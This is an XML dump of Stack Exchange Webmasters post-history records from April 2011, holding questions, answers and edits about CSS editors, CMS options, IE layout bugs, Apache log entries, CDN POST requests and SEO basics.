  <row Id="28047" PostHistoryTypeId="5" PostId="12293" RevisionGUID="b1cb7bff-4666-4a4f-b03f-15aa86c7ad0e" CreationDate="2011-04-15T15:20:42.853" UserId="4064" Comment="Improved explanation; added 22 characters in body" Text="You could use Firefox (Iceweasel if you use Debian Linux) with [Web Developer][1] Toolbar, it has a CSS editor and you can apply and see your changes in real time inside the browser.&#xD;&#xA;It is under CSS -&gt; Edit CSS, the browser will open a panel containing all loaded CSS files for the page you are browsing, edit your css rules see your changes, you can save it to a file or better select all your css file (the one you'd edited), copy and paste into your original CSS file.&#xD;&#xA;Be careful after editing your CSS, if you have multiple tabs and you change your tab all your rules will be gone, because it will load the CSS files related to the new tab. To prevent this massive loss, you must tell CSS Editor to &quot;stick&quot; with the files you'd edited, you can do that clicking on the pin icon, it's the one before the textbox for search.&#xD;&#xA;&#xD;&#xA;There is a very handy web development tool, it's an IDE, [Quanta Plus][2], it's for linux, it's a very useful tool for editing your files (CSS, HTML, PHP, etc), it has sintax highlight, you can manage projects, etc, and you can open your files there for easy copy-paste from Firefox.&#xD;&#xA;If you are interested in Quanta Plus you can read its [features][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/web-developer/&#xD;&#xA;  [2]: http://kde-apps.org/content/show.php/Quanta+Plus?content=10135&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Quanta_Plus" />
  <row Id="28048" PostHistoryTypeId="5" PostId="12291" RevisionGUID="f7afbf76-8136-456a-9dd9-acda16e88e2c" CreationDate="2011-04-15T15:33:46.287" UserId="4064" Comment="corrected username reference" Text="It's not too clear what you are asking for, if you need a tool that generates CSS and layout for you then you probably could use [960 Grid System][1], if you need a tool for creating mockups then you could use [Pencil][2] or the tool Matt has recommended you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://960.gs/&#xD;&#xA;  [2]: http://pencil.evolus.vn/en-US/Home.aspx" />
  <row Id="28049" PostHistoryTypeId="2" PostId="12294" RevisionGUID="cd28450c-a388-453c-b125-41a99bf360df" CreationDate="2011-04-15T15:56:58.657" UserId="6858" Text="If you're planning to install software on a server with your own domain name, then the three biggest open-source CMSs are Drupal, Joomla and Wordpress. All three will do what you are asking for - WYSIWYG editing, comments, file management, a media library.&#xD;&#xA;&#xD;&#xA;Wordpress is more focused on blogging, whereas Drupal and Joomla - while they can be used as blogs - are more general-purpose. Wordpress focuses on displaying content chronologically (i.e. most recent first), although it can be used to display content by categories. Although this is subjective, Wordpress is probably easier to use than either Drupal or Joomla.&#xD;&#xA;&#xD;&#xA;On the other hand, you can go with a hosted service. Again Wordpress offer this with Wordpress.com, but there is also Blogger, LiveJournal. You can even do this with Facebook Pages." />
  <row Id="28050" PostHistoryTypeId="2" PostId="12295" RevisionGUID="fbadec4d-01bd-487f-8518-b257ab47c49a" CreationDate="2011-04-15T16:39:49.627" UserId="6634" Text="&gt; Any way around this? Assume there are thousands of comments.&#xD;&#xA;&#xD;&#xA;Should we assume that there are thousands of comments on your blog in total, or thousands of comments *per blog entry*? &#xD;&#xA;&#xD;&#xA;If you're talking about blog entries that get a few dozen or even 100+ comments, please just keep everything at one URL - blog entry and all comments, no clicking a link to get to the comments on another URL, no weird javascripts. &#xD;&#xA;&#xD;&#xA;When you start getting above 1-200 comments per post, that's when you need to look at more exotic solutions.&#xD;&#xA;&#xD;&#xA;Are you using a blogging tool / CMS? If so, which one?" />
  <row Id="28051" PostHistoryTypeId="2" PostId="12296" RevisionGUID="9711f2b1-edb2-4fef-9252-ae639188243f" CreationDate="2011-04-15T16:45:48.387" UserId="6634" Text="Just put the Wikipedia-content portion of each page in something that can't be indexed or won't be indexed. There are a lot of ways to do this: frames, javascripts, etc. It's weird for me to advise someone to do that, but it seems like what you want in this situation." />
  <row Id="28052" PostHistoryTypeId="2" PostId="12297" RevisionGUID="00f57c0a-5016-4363-b685-d227090a3eef" CreationDate="2011-04-15T16:48:58.617" UserId="6888" Text="You can look at [Tiki CMS][1] as well.  It is a full-featured CMS with articles, wiki, file galleries, etc, but you get to pick the features you need and can activate others as needed.&#xD;&#xA;Check out docs on [Tiki Essentials][2]&#xD;&#xA;&#xD;&#xA;\\\Greg&#xD;&#xA;&#xD;&#xA;  [1]: http://tiki.org&#xD;&#xA;  [2]: http://twessentials.keycontent.org/" />
  <row Id="28053" PostHistoryTypeId="2" PostId="12298" RevisionGUID="fab6f49d-acd9-48fb-9858-8ec784b9d73c" CreationDate="2011-04-15T17:11:39.077" UserId="6887" Text="Through some trial and error, it seems to me that this is caused by the two lines&#xD;&#xA;&#xD;&#xA;    $('.InfoContainer').hide();&#xD;&#xA;    $('.InfoContainer:first').show();&#xD;&#xA;&#xD;&#xA;near the beginning of your &quot;box&quot; script (http://menu.fo/js/box). I'm not sure exactly why, but due to some quirk in IE7's page rendering hiding the 3 InfoContainer divs and then showing the first is causing the Etika text to be pushed down.&#xD;&#xA;&#xD;&#xA;There are probably other solutions to this, but one possibility is to change the positioning of the InfoContainer divs to absolute (which just removes them from the page flow). You can do this by adding &#xD;&#xA;&#xD;&#xA;    position: absolute;&#xD;&#xA;    right: 400px; /* width - right margin */&#xD;&#xA;&#xD;&#xA;for .InfoContainer in your css file. You might have to make some adjustments to get the divs exactly where you want them.&#xD;&#xA;" />
  <row Id="28054" PostHistoryTypeId="2" PostId="12299" RevisionGUID="e59a4d0b-77bc-4e9f-8ed1-8d921384ad64" CreationDate="2011-04-15T17:17:27.583" UserId="6888" Text="A couple others: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://sourceforge.net/projects/openupload/ &#xD;&#xA;&#xD;&#xA;http://uber-uploader.sourceforge.net/&#xD;&#xA;" />
  <row Id="28055" PostHistoryTypeId="2" PostId="12300" RevisionGUID="22c182e0-2a5c-4e78-834d-68d759d2b780" CreationDate="2011-04-15T17:29:20.480" UserId="5718" Text="I just use the CSS support in Netbeans IDE because it's integrated with other languages I use such as PHP, JavaScript and Java. It does CSS syntax highlighting and code completion. It's also got a basic visual preview but nothing close to the sophistication of something like Dreamweaver." />
  <row Id="28056" PostHistoryTypeId="25" PostId="12285" RevisionGUID="4a6166fd-6aaf-44a2-96a1-2edc5ebcc788" CreationDate="2011-04-15T18:09:14.477" Comment="http://twitter.com/#!/StackWebmasters/status/58955052328550402" />
  <row Id="28057" PostHistoryTypeId="5" PostId="12282" RevisionGUID="96dac4ea-c504-4655-a893-160ffa0b817b" CreationDate="2011-04-15T18:16:22.237" UserId="6231" Comment="added 274 characters in body; added 3 characters in body" Text="What are some CSS editors and development tools available for the Linux operating system?&#xD;&#xA;&#xD;&#xA;I'm using `vim` for everything. Are there some things you would recommend to do rather in another editor because `vim` does not support them or it's unproductive? Or is vim absolutely suitable for editing CSS, you use it and know some good plugins or features?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="28062" PostHistoryTypeId="5" PostId="12300" RevisionGUID="45789be9-36ec-41f6-bf52-3af7ee0920ea" CreationDate="2011-04-15T18:34:37.430" UserId="5718" Comment="Response to change of question scope" Text="As far as I'm aware VIM doesn't have support for CSS code completion. I use Netbeans IDE and find it a useful feature because it saves time typing and looking up reference material." />
  <row Id="28063" PostHistoryTypeId="2" PostId="12302" RevisionGUID="c502db79-282e-4b4b-8540-0c4c2c4dcbb3" CreationDate="2011-04-15T18:43:34.887" UserId="6889" Text="I'm overlooking the obvious...Modifying an index page on local hard drive before uploading it to server. And the javascript is not loading. This doesn't work:&#xD;&#xA;&#xD;&#xA;    file:///Users/meltemi/Sites/mysite/index.html&#xD;&#xA;&#xD;&#xA;But, when page is uploaded and served from Apache then the javascript works:&#xD;&#xA;&#xD;&#xA;    http://www.mysite.com/index.html&#xD;&#xA;&#xD;&#xA;Site directories are identical both locally and on remote server. I have tried this with Safari 5.0.5 &amp; Firefox 4.0.&#xD;&#xA;&#xD;&#xA;code excerpts, though I don't believe it's a code issue:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;&#xD;&#xA;    &lt;!--&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en&quot; lang=&quot;en&quot;&gt;--&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&#xD;&#xA;    	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; href=&quot;css/main.css&quot; /&gt;&#xD;&#xA;    	&lt;!--[if lt IE 9]&gt;&#xD;&#xA;    	&lt;script src=&quot;http://html5shim.googlecode.com/svn/trunk/html5.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    	&lt;![endif]--&gt;&#xD;&#xA;    	&lt;script type=&quot;text/javascript&quot;&#xD;&#xA;    	 src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    	&lt;script type=&quot;text/javascript&quot; src=&quot;galleria/galleria-1.2.3.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;header class=&quot;group&quot;&gt;&#xD;&#xA;    	&lt;div id=&quot;header-inner&quot;&gt;&#xD;&#xA;    		&lt;nav class=&quot;group&quot;&gt;&#xD;&#xA;                      ...&#xD;&#xA;    		&lt;/nav&gt;&#xD;&#xA;    	&lt;/div&gt;&#xD;&#xA;    &lt;/header&gt;&#xD;&#xA;    &lt;hr /&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        if (Galleria) { $(&quot;body&quot;).text('Galleria works') }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;" />
  <row Id="28064" PostHistoryTypeId="1" PostId="12302" RevisionGUID="c502db79-282e-4b4b-8540-0c4c2c4dcbb3" CreationDate="2011-04-15T18:43:34.887" UserId="6889" Text="Javascript not loading from local drive" />
  <row Id="28065" PostHistoryTypeId="3" PostId="12302" RevisionGUID="c502db79-282e-4b4b-8540-0c4c2c4dcbb3" CreationDate="2011-04-15T18:43:34.887" UserId="6889" Text="&lt;javascript&gt;&lt;jquery&gt;" />
  <row Id="28066" PostHistoryTypeId="2" PostId="12303" RevisionGUID="6ded12fe-ca5d-43bb-b230-4770dbd19c3e" CreationDate="2011-04-15T18:53:28.750" UserId="1253" Text="You need to specify the full path including the drive. The `file:` part is unnecessary.&#xD;&#xA;&#xD;&#xA;&gt; C:/Users/meltemi/Sites/mysite/javascriptfile.js&#xD;&#xA;&#xD;&#xA;or *nix:&#xD;&#xA;&#xD;&#xA;&gt; /Users/meltemi/Sites/mysite/javascriptfile.js&#xD;&#xA;&#xD;&#xA;Ideally you'll develop in a web environment and then can use a path relative the webroot which will be the same regardless of whether the site is local or on the live server:&#xD;&#xA;&#xD;&#xA;&gt; /javascripts/javascriptfile.js" />
  <row Id="28067" PostHistoryTypeId="2" PostId="12304" RevisionGUID="cd6fe465-2325-4352-af08-2fbb8267ec7c" CreationDate="2011-04-15T19:04:01.133" UserId="480" Text="[E-Consultant's Top 10 Advertising Networks][1]  may help. For instance [Kanoodle][2] have an extensive sign-up form that suggests negotiation is possible (plus the name matches the subject of your site). Some have a percentage of revenue displayed beside them (but not the average advert value).&#xD;&#xA;&#xD;&#xA;You may also wish to review [the big list of ad networks][3]. For instance a 5 minute flick through [shows that Miva believe][4]&#xD;&#xA;&#xD;&#xA;&gt; adult content can be considered objectionable&#xD;&#xA;&#xD;&#xA;the &quot;can&quot; bit may provide some leeway.&#xD;&#xA;&#xD;&#xA;Good luck, trying to read around this area shows how difficult it is.&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.econsultant.com/top-10-advertising-networks.html&#xD;&#xA;  [2]: http://www.kanoodle.com/&#xD;&#xA;  [3]: http://3things.be/wp-content/uploads/ad-networks.txt&#xD;&#xA;  [4]: http://www.miva.com/legal_center/advertiser-relevancy-guidelines" />
  <row Id="28068" PostHistoryTypeId="5" PostId="12300" RevisionGUID="e06212aa-7c77-48a4-8c3a-2e8f844ff72b" CreationDate="2011-04-15T19:08:17.853" UserId="5718" Comment="My previous answer was wrong because vim does actually have code completion support" Text="The code completion in the Netbeans IDE is pretty cool because it pop's up on-screen documentation. It's also pretty smart and can often complete id and class names declared in other project files." />
  <row Id="28069" PostHistoryTypeId="2" PostId="12305" RevisionGUID="3e3e4a1c-ba7f-4885-bdf8-fd253ee7b06d" CreationDate="2011-04-15T19:17:53.857" UserId="6889" Text="Just looking at logs of a not-so-busy site on one of our Apache servers and notice tons of these in the log:&#xD;&#xA;&#xD;&#xA;    ::1 - - [15/Apr/2011:12:11:40 -0700] &quot;OPTIONS * HTTP/1.0&quot; 200 -&#xD;&#xA;    ::1 - - [15/Apr/2011:12:11:41 -0700] &quot;OPTIONS * HTTP/1.0&quot; 200 -&#xD;&#xA;    ::1 - - [15/Apr/2011:12:11:44 -0700] &quot;OPTIONS * HTTP/1.0&quot; 200 -&#xD;&#xA;&#xD;&#xA;They seem to appear multiple times just below the GET requests where Apache has served a page &amp; its related images. &#xD;&#xA;&#xD;&#xA; 1. what do they mean? &#xD;&#xA; 2. what IP is &quot;`::1`&quot;?&#xD;&#xA; 3. if they're benign can I suppress them?&#xD;&#xA;" />
  <row Id="28070" PostHistoryTypeId="1" PostId="12305" RevisionGUID="3e3e4a1c-ba7f-4885-bdf8-fd253ee7b06d" CreationDate="2011-04-15T19:17:53.857" UserId="6889" Text="Apache logs: &quot;::1 ... &quot;OPTIONS * HTTP/1.0&quot; 200 -" />
  <row Id="28071" PostHistoryTypeId="3" PostId="12305" RevisionGUID="3e3e4a1c-ba7f-4885-bdf8-fd253ee7b06d" CreationDate="2011-04-15T19:17:53.857" UserId="6889" Text="&lt;apache&gt;&lt;http&gt;&lt;logging&gt;&lt;apache2&gt;" />
  <row Id="28072" PostHistoryTypeId="2" PostId="12306" RevisionGUID="ecca32ee-0a99-470e-a1d4-0c51bea99267" CreationDate="2011-04-15T19:24:54.167" UserId="1253" Text="From [here][1]&#xD;&#xA;&#xD;&#xA;&gt; It's Apache polling its child&#xD;&#xA;&gt; processes to verify they're responding&#xD;&#xA;&gt; correctly.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 31-2 - 0/0/44 . 0.00 41 0 0.0 0.00&#xD;&#xA;&gt; 0.92 ::1 mxx1.xx.com OPTIONS * HTTP/1.0&#xD;&#xA;&gt; &#xD;&#xA;&gt; The second field, &quot; - &quot;, shows that&#xD;&#xA;&gt; this isn't an active connection.. It's&#xD;&#xA;&gt; the last connection that took place&#xD;&#xA;&gt; for this particular thread/process.&#xD;&#xA;&gt; Since Apache polls its children every&#xD;&#xA;&gt; few minutes it's not unusual to see&#xD;&#xA;&gt; many of these on a system with light&#xD;&#xA;&gt; web traffic.&#xD;&#xA;&gt; &#xD;&#xA;&gt; With some versions of Apache you'd see&#xD;&#xA;&gt; a &quot;GET /&quot; instead of &quot;OPTIONS *&quot; for&#xD;&#xA;&gt; these connections.&#xD;&#xA;&gt; &#xD;&#xA;&gt; https://issues.apache.org/bugzilla/s...g.cgi?id=41796&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.cpanel.net/f5/apache-load-99241.html" />
  <row Id="28073" PostHistoryTypeId="2" PostId="12307" RevisionGUID="1c0b30f1-d2dc-4dd1-8e33-eedf9a9449b4" CreationDate="2011-04-15T19:38:31.963" UserId="6028" Text="For developing web sites, my most cherished process is hand-coding in Aptana or Coda and then testing on Firefox. This gives me my 'baseline' for my page. Once I'm done with the page, I'll then test it in multiple browsers on different platforms and fix problems accordingly.&#xD;&#xA;&#xD;&#xA;[Aptana][1] is an awesome IDE for multiple languages and markup. Best of all, it's free! You may be a bit intimidated coming from vi because the UI very robust but aside from that, there are many features that help you get the job done in an efficient manner. Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.aptana.com/products/studio2/download" />
  <row Id="28074" PostHistoryTypeId="2" PostId="12308" RevisionGUID="dc99a413-f341-442c-835f-ff0f82424ea2" CreationDate="2011-04-15T19:54:47.670" UserId="480" Text="Some CDNs may work the way you want them to with POST operations. It depends on what has been configured and with which headers/content you submit. You'd have to read the documentation. This is why POSTs are *unsafe* operations. You're also going to have to read the status code and whatever media type is return (if any).&#xD;&#xA;&#xD;&#xA;The guide on [status codes][1] for the response codes you receive should give you a rough indication on whether the problem is client side or server side. Although there is more than one way to interpret the standards. Any 400-417 status codes indicate bad behaviour on behalf of the client and any 500+ status codes are bad behaviour on behalf of the CDNs server(s).&#xD;&#xA;&#xD;&#xA;There may not be a response. You can try a HTTP OPTIONS request and see if POST is listed. To cut down on outbound bandwidth costs, some servers will not respond to certain requests (including HTTP OPTIONS) and application firewalls, reverse proxies, layer 7 firewalls, etc can drop them further upstream.&#xD;&#xA;&#xD;&#xA;If for some reason your application *has* to make HTTP POST requests then you could always use a reverse-proxy. This would eradicate the CDN advantage (you can just get plain on-line storage cheaper, i.e. Amazon S3 without CloudFront). Your own CDN may also be able to configure HTTP POST behaviour on a User-Agent basis, solving the problem, if not find one that will.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" />
  <row Id="28075" PostHistoryTypeId="2" PostId="12309" RevisionGUID="48155064-1bdd-4d78-9eba-9d5fd059364b" CreationDate="2011-04-15T19:58:16.150" UserId="6890" Text="I'm working on this website for my dad:&#xD;&#xA;http://smartcampusdeals.com/TendonAiD/index3.html&#xD;&#xA;&#xD;&#xA;and the three columns (with the stick cartoony people) extend past the container. Right now, I have the container set at a static height (700px or something) but I want the height to adjust, so I don't have to change it for every other page. Why are these three columns behaving that way and what can I do to fix it? " />
  <row Id="28076" PostHistoryTypeId="1" PostId="12309" RevisionGUID="48155064-1bdd-4d78-9eba-9d5fd059364b" CreationDate="2011-04-15T19:58:16.150" UserId="6890" Text="Clearing floats? Or something else?" />
  <row Id="28077" PostHistoryTypeId="3" PostId="12309" RevisionGUID="48155064-1bdd-4d78-9eba-9d5fd059364b" CreationDate="2011-04-15T19:58:16.150" UserId="6890" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="28078" PostHistoryTypeId="5" PostId="12308" RevisionGUID="1ae3947f-5469-4708-911e-7ffd88f3a78f" CreationDate="2011-04-15T19:59:56.507" UserId="480" Comment="improved answer" Text="Some CDNs may work the way you want them when you submit a HTTP POST request. It depends on what has been configured and what headers/content you submit. Documentation should be available and explain what is possible. Some Perl programmers I've read about turn their heating on and run a bath via HTTP POST requests. This is why POSTs are *unsafe* operations. They could do anything. You're also going to have to read the status code and whatever media type is returned (if any).&#xD;&#xA;&#xD;&#xA;The guide on [status codes][1] for the response codes you receive should give you a rough indication on whether the problem is client side or server side. Although there is more than one way to interpret the standards. Generally (assuming everything is configured correctly) any 400-417 status codes indicate bad behaviour on behalf of the client and any 500+ status codes are bad behaviour on behalf of the CDNs server(s).&#xD;&#xA;&#xD;&#xA;There may not be a response. You can try a HTTP OPTIONS request and see if POST is listed. To cut down on outbound bandwidth costs, some servers will not respond to certain requests (including HTTP OPTIONS) and application firewalls, reverse proxies, layer 7 firewalls, etc can drop them further upstream.&#xD;&#xA;&#xD;&#xA;If for some reason your application *has* to make HTTP POST requests then you could always use a reverse-proxy. This would eradicate the CDN advantage (you can just get plain on-line storage cheaper, i.e. Amazon S3 without CloudFront). Your own CDN may also be able to configure HTTP POST behaviour on a User-Agent basis, solving the problem, if not find one that will.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" />
  <row Id="28079" PostHistoryTypeId="2" PostId="12310" RevisionGUID="5306941a-6795-47e4-ac2c-d41a428b163a" CreationDate="2011-04-15T20:00:54.193" UserId="6891" Text="I hope some of you are fans of 4shared.com. They are holding an interesting for me contest: 4shared developer program. I am pretty good developer but I have no idea what application to do. Maybe some of you as a 4shared users would be able to help me.&#xD;&#xA;http://www.4shared.com/developer/&#xD;&#xA;Thank you.:)&#xD;&#xA;" />
  <row Id="28080" PostHistoryTypeId="1" PostId="12310" RevisionGUID="5306941a-6795-47e4-ac2c-d41a428b163a" CreationDate="2011-04-15T20:00:54.193" UserId="6891" Text="Are there any ideas about what application should I develope for 4shared api contest ? Any suggestions?" />
  <row Id="28081" PostHistoryTypeId="3" PostId="12310" RevisionGUID="5306941a-6795-47e4-ac2c-d41a428b163a" CreationDate="2011-04-15T20:00:54.193" UserId="6891" Text="&lt;web-development&gt;&lt;web-applications&gt;&lt;application&gt;" />
  <row Id="28082" PostHistoryTypeId="10" PostId="12310" RevisionGUID="0e347e5a-c70e-450e-9e3f-04bd13735752" CreationDate="2011-04-15T20:13:23.987" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="28083" PostHistoryTypeId="5" PostId="12310" RevisionGUID="2647cfdd-5bc6-462f-a9ce-476fb31eb088" CreationDate="2011-04-15T20:14:01.833" UserId="1253" Comment="removed link" Text="I hope some of you are fans of 4shared.com. They are holding an interesting for me contest: 4shared developer program. I am pretty good developer but I have no idea what application to do. Maybe some of you as a 4shared users would be able to help me.&#xD;&#xA;&#xD;&#xA;Thank you.:)&#xD;&#xA;" />
  <row Id="28084" PostHistoryTypeId="2" PostId="12311" RevisionGUID="b02a5280-b347-479b-aa34-ddeab46c1df7" CreationDate="2011-04-15T20:37:10.367" UserId="6892" Text="This problem only rears its ugly head when opening/receiving using a version of Internet Explorer. Firefox, Safari and Chrome all work perfectly.&#xD;&#xA;&#xD;&#xA;When a Word doc that contains embedded graphics (like screenshots) is opened in IE, a dialog box asking to choose the correct encoding appears and NONE of the available options corrects the text in the document. The images display fine, but all text is garbled beyond recognition.&#xD;&#xA;&#xD;&#xA;Word docs that do not contain images come through fine. If the file is specifically downloaded then opened from the desktop, the problem still exists. Any ideas how to get these docs to behave in IE? I have been searching to find any similar issues and resolutions but have come up empty. I would think there were header issues except it works fine in other browsers, and other docs without images also work fine." />
  <row Id="28085" PostHistoryTypeId="1" PostId="12311" RevisionGUID="b02a5280-b347-479b-aa34-ddeab46c1df7" CreationDate="2011-04-15T20:37:10.367" UserId="6892" Text="Word docs opened/downloaded via IE cannot determine correct encoding when they contain embedd images" />
  <row Id="28086" PostHistoryTypeId="3" PostId="12311" RevisionGUID="b02a5280-b347-479b-aa34-ddeab46c1df7" CreationDate="2011-04-15T20:37:10.367" UserId="6892" Text="&lt;internet-explorer&gt;&lt;content-encoding&gt;" />
  <row Id="28089" PostHistoryTypeId="25" PostId="12305" RevisionGUID="ee9f4f83-c9b4-49f5-956b-098d12e44fdb" CreationDate="2011-04-15T21:09:14.517" Comment="http://twitter.com/#!/StackWebmasters/status/59000351377997824" />
  <row Id="28090" PostHistoryTypeId="2" PostId="12312" RevisionGUID="8d5486fd-3815-44cb-a9d7-8acb2609fceb" CreationDate="2011-04-15T21:27:44.847" UserDisplayName="Halik" Text="How do you set up the domain (Im using godaddy) to mask the server url but to append the sub-page link.&#xD;&#xA;&#xD;&#xA;Im thinking something like the wikipedia en.wikipedia.org/wiki/something (or, if it would require httpd.conf access, setting it to append the default subpage link eg. '?page_id=2')&#xD;&#xA;&#xD;&#xA;Currently I can set up the domain to either be masked completely without showing any sub-page links or to simply redirect my domain to my web server.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28091" PostHistoryTypeId="1" PostId="12312" RevisionGUID="8d5486fd-3815-44cb-a9d7-8acb2609fceb" CreationDate="2011-04-15T21:27:44.847" UserDisplayName="Halik" Text="Domain masking (and simple page links)" />
  <row Id="28092" PostHistoryTypeId="3" PostId="12312" RevisionGUID="8d5486fd-3815-44cb-a9d7-8acb2609fceb" CreationDate="2011-04-15T21:27:44.847" UserDisplayName="Halik" Text="&lt;domains&gt;&lt;hyperlink&gt;" />
  <row Id="28093" PostHistoryTypeId="17" PostId="12312" RevisionGUID="4f780b01-8589-4902-ba8c-bbc7db56a1ad" CreationDate="2011-04-15T21:29:49.767" UserId="-1" Comment="from http://superuser.com/questions/271460/domain-masking-and-simple-page-links" Text="" />
  <row Id="28094" PostHistoryTypeId="2" PostId="12313" RevisionGUID="6eda38ca-b207-4f23-81e7-28031028e848" CreationDate="2011-04-15T21:51:41.580" UserId="2739" Text="This is the classic 'collapsed parent' problem, created by floating an element, but not its parent. In your case you have a float on `#feature-text` and its children, but not `#content-wrapper`.&#xD;&#xA;&#xD;&#xA;There are four CSS solutions, although one of the main two should work for you:&#xD;&#xA;&#xD;&#xA;Either add another clear float - `&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;` - at the end of the content wrapper, or give the content wrapper the css `overflow:hidden`.&#xD;&#xA;&#xD;&#xA;This good article explains the theory and the other two possible solutions:&#xD;&#xA;&#xD;&#xA;http://www.smashingmagazine.com/2009/10/19/the-mystery-of-css-float-property/&#xD;&#xA;" />
  <row Id="28099" PostHistoryTypeId="5" PostId="12297" RevisionGUID="3c57d7f2-eae8-4870-911d-209030b41eb1" CreationDate="2011-04-15T22:27:30.147" UserId="4786" Comment="removed signature per faq" Text="You can look at [Tiki CMS][1] as well.  It is a full-featured CMS with articles, wiki, file galleries, etc, but you get to pick the features you need and can activate others as needed.&#xD;&#xA;Check out docs on [Tiki Essentials][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://tiki.org&#xD;&#xA;  [2]: http://twessentials.keycontent.org/" />
  <row Id="28100" PostHistoryTypeId="24" PostId="12297" RevisionGUID="3c57d7f2-eae8-4870-911d-209030b41eb1" CreationDate="2011-04-15T22:27:30.147" Comment="Proposed by 4786 approved by 108 edit id of 125" />
  <row Id="28101" PostHistoryTypeId="5" PostId="12285" RevisionGUID="a17b4736-8263-4125-bdb5-8f9902a47a21" CreationDate="2011-04-15T22:27:35.963" UserId="4786" Comment="removed signature per faq, also removed &quot;hello&quot; greeting..." Text="I have tried to optimize our site for internet explorer. I have problems with one name `Etika`, on the first page of our website.&#xD;&#xA;&#xD;&#xA;It would be nice, if some of you could point out, why IE behaves so strange. Here is what it looks like in IE  - ![screenshot](http://menu.fo/images/fail.png)&#xD;&#xA;&#xD;&#xA;You can see the live website on [menu.fo](http://menu.fo).&#xD;&#xA;&#xD;&#xA;`Etika` should be the first one on the site." />
  <row Id="28102" PostHistoryTypeId="24" PostId="12285" RevisionGUID="a17b4736-8263-4125-bdb5-8f9902a47a21" CreationDate="2011-04-15T22:27:35.963" Comment="Proposed by 4786 approved by 108 edit id of 124" />
  <row Id="28103" PostHistoryTypeId="5" PostId="12286" RevisionGUID="1389e35b-7f6a-40d5-be46-106cb5eff04b" CreationDate="2011-04-15T22:27:43.000" UserId="4786" Comment="removed greeting. removed signautre per FAQ" Text="I’m trying to get PHP4 running under CGI alongside PHP5 as a module in Apache.  Long story short, I have some legacy applications that aren’t running under PHP5 and they would take a while to rewrite, so short term I should hopefully be able to run both PHP versions for now.&#xD;&#xA;&#xD;&#xA;Most of the sites I’ve come across state that running one version as CGI and another as an Apache module is the best way to go about this.  I’m pretty sure I have my httpd.conf setup properly as I’m no longer receiving “file not found” errors in my logs.  Posting changes below for reference:&#xD;&#xA;&#xD;&#xA;    AddHandler php4-script .php4&#xD;&#xA;    Action php4-script &quot;/cgi-bin/php4&quot;&#xD;&#xA;    …&#xD;&#xA;    ScriptAlias /cgi-bin/ &quot;/opt/lampp/cgi-bin/&quot;&#xD;&#xA;&#xD;&#xA;My current error is “Premature end of script headers: php4”.  I’ve tried some diagnosis that I found [here][1].  If I run  `cgi-bin/php4 htdocs/test.php4` from the command prompt (where test.php4 is a simple `echo phpinfo()`), I get all the phpinfo data on screen, but no HTML formatting.  I tried setting the PATH_TRANSLATE variable as the above link mentions and running cgi-bin/php4 but I never got any output doing that, possible issue could be this.  Also I’ve checked and rechecked all my file permissions and everything looks good there.&#xD;&#xA;&#xD;&#xA;Any other thoughts as to what I could be missing?  Other option is to run another Apache instance on a different port, tried this at first but it started to get a bit messy, though I may have to revert to this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://archive.atomicmpc.com.au/forums.asp?s=2&amp;c=16&amp;t=4263" />
  <row Id="28104" PostHistoryTypeId="24" PostId="12286" RevisionGUID="1389e35b-7f6a-40d5-be46-106cb5eff04b" CreationDate="2011-04-15T22:27:43.000" Comment="Proposed by 4786 approved by 108 edit id of 123" />
  <row Id="28106" PostHistoryTypeId="2" PostId="12315" RevisionGUID="59652a6f-85d8-4d95-bb99-5945e92a86bf" CreationDate="2011-04-16T00:33:39.927" UserId="6896" Text="I am building my first blog that will provide quality information about a specific niche ( make up, fashion etc. haven't decided yet ). I am intending for it to be as high on the google page as possible, but am a SEO noob. Obviously, I know quality content is the most important part of SEO, but it must be helped by proper SEO so I am trying to get some help in starting up - &#xD;&#xA;&#xD;&#xA;- Does it make much of a difference if I code my site in HTML5 in terms of SEO [ use of &lt; article &gt;, &lt; header &gt; tags ]  ?&#xD;&#xA;- Can I do my site in 2 languages ? Does it hurt SEO ?&#xD;&#xA;- I have heard SEO directories are the way to go in terms of improving SEO but how should I approach this ? Should I use a tool for submitting to dirs or should I do it manually ? &#xD;&#xA;&#xD;&#xA;Any help is appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!" />
